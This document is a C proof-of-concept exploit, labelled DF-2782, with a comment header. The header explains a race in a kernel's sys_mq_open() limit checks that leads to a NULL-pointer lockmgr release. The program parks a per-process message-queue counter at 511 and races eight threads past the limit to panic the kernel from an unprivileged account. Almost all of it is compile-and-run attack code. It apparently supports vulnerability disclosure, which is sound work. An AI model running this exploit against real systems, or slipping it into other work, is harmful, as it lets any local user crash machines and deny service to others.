/*
 * DF-2782 — sys_mq_open() NULL-pointer lockmgr panic (race-gated limit path)
 *
 * sys/kern/sys_mqueue.c, sys_mq_open():
 *   :452  early per-process limit check (`== mq_open_max') — happens BEFORE
 *         mqlist_mtx is acquired;
 *   :577  second, under-lock limit check — only reached if the counter
 *         changed between :452 and here;
 *   :577-580  on failure: `error = EMFILE; goto exit;`
 *   :595-596  exit: `lockmgr(&mq->mq_mtx, LK_RELEASE); ...` — but in this
 *         branch mqueue_lookup() returned NULL and `mq' was never assigned,
 *         so the kernel calls lockmgr() on &((struct mqueue *)NULL)->mq_mtx
 *         (~ address 0x100)  =>  guaranteed page fault / panic.
 *
 * Trigger: one process with many threads.  Park p_mqueue_cnt at 511, release
 * all threads simultaneously: at least two pass the early check at :452 while
 * the count is 511, the first opener increments to 512, the second hits the
 * check at :577 and panics the kernel via the NULL mq release.
 *
 * Impact: unprivileged local kernel panic (DoS), INVARIANTS-independent.
 *
 * cc -O2 -pthread -o limit_race limit_race.c
 * ./limit_race [rounds]
 */
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

#define NTHR	8

static long attr[4] = { 0, 1, 16, 0 };
static pthread_barrier_t bar;
static volatile int go = 0;

static int
mqo(const char *name, int oflag)
{
	return syscall(SYS_mq_open, name, oflag, 0600, attr);
}

static void *
thr(void *arg)
{
	long id = (long)arg;
	char name[64];
	unsigned iter = 0;

	for (;;) {
		pthread_barrier_wait(&bar);
		while (go) {
			/* unique name every time: force the CREATE path so
			 * both limit checks (:452 and :577) are exercised */
			snprintf(name, sizeof(name), "/df2782_%ld_%u_%d",
			    id, iter++, (int)getpid());
			if (mqo(name, O_RDWR | O_CREAT) < 0) {
				if (errno == EMFILE)
					break;	/* round over */
				return NULL;
			}
		}
		pthread_barrier_wait(&bar);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int rounds = (argc > 1) ? atoi(argv[1]) : 200;
	pthread_t t[NTHR];
	char name[64];
	int i, r, n;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2782: %d threads racing the mq_open limit "
	    "(expect kernel panic at the :577 EMFILE path)\n", NTHR);

	pthread_barrier_init(&bar, NULL, NTHR + 1);
	for (i = 0; i < NTHR; i++)
		pthread_create(&t[i], NULL, thr, (void *)(intptr_t)i);

	for (r = 0; r < rounds; r++) {
		/* park the counter just below the limit: 511 opens */
		for (n = 0; n < 511; n++) {
			snprintf(name, sizeof(name), "/df2782_seed_%d_%d",
			    (int)getpid(), n);
			if (mqo(name, O_RDWR | O_CREAT) < 0)
				break;
		}
		/* release all threads at once: they race past :452 at 511 */
		pthread_barrier_wait(&bar);
		go = 1;
		usleep(20000);
		go = 0;
		pthread_barrier_wait(&bar);
		printf("round %d survived (seeded %d)\n", r, n);

		/* close + unlink everything for the next round */
		for (i = 0; i < 2048; i++)
			close(3 + i);
		for (i = 0; i < 1024; i++) {
			snprintf(name, sizeof(name), "/df2782_seed_%d_%d",
			    (int)getpid(), i);
			syscall(SYS_mq_unlink, name);
			snprintf(name, sizeof(name), "/df2782_%ld_%d_%d",
			    (long)(i % NTHR), i, (int)getpid());
			syscall(SYS_mq_unlink, name);
		}
	}
	printf("DF-2782: survived %d rounds without the panic\n", rounds);
	return 1;
}
